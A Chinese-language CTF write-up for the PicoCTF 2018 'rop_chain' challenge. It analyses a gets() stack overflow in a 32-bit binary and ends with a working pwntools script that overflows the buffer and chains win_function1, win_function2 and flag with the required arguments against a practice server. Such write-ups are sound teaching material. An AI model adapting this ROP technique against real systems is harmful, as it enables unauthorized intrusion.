# PicoCTF_2018_rop_chain
# 1. 首先查看程序信息
发现是 32 位程序,开启了 NX
利用 ida 查看
首先查看 main 函数
里面有个 vuln 函数,查看
发现 ret 到 gets 函数,由溢出可以利用
发现有其他函数
逐个查看
win_function1
win_function2
flag
# 2. 分析
1. 由上面的函数可以看出,下面的成立时可以输出 flag
if ( win1 && win2 && a1 == -559039827 )
但是程序并没有调用这些函数,需要我们自己去执行,通过上面发现的溢出漏洞可以做到
2. 在 function1 中 win1=1 ,而 function2 中:
if ( win1 && a1 == -1163220307 ) | |
{ | |
win2 = 1; | |
} |
需要让 a1=-1163220307(0xBAAAAAAD) 才能实现 win2=1,并且在 flag 中要让 a1=-559039827(0xDEADBAAD) 才能获取 flag
注意 a1 是作为参数传入的 ,而 32 位系统是用栈来传参(栈中先是返回地址然后是参数的顺序),所以就可以通过溢出来控制参数的值
# 3.exp:
from pwn import * | |
from LibcSearcher import * | |
context.log_level = 'debug' | |
p=remote('node4.buuoj.cn',29168) | |
e=ELF("./2018_rop") | |
function1=0x80485CB | |
function2=0x80485D8 | |
flag=0x804862B | |
vuln=0x8048714 | |
a1_function2=0xBAAAAAAD | |
a1_flag=0xDEADBAAD | |
p.recvuntil("Enter your input> ") | |
payload1=b"a"*(0x18+4)+p32(function1)+p32(function2)+p32(flag)+p32(a1_function2)+p32(a1_flag) | |
p.sendline(payload1) | |
p.interactive() |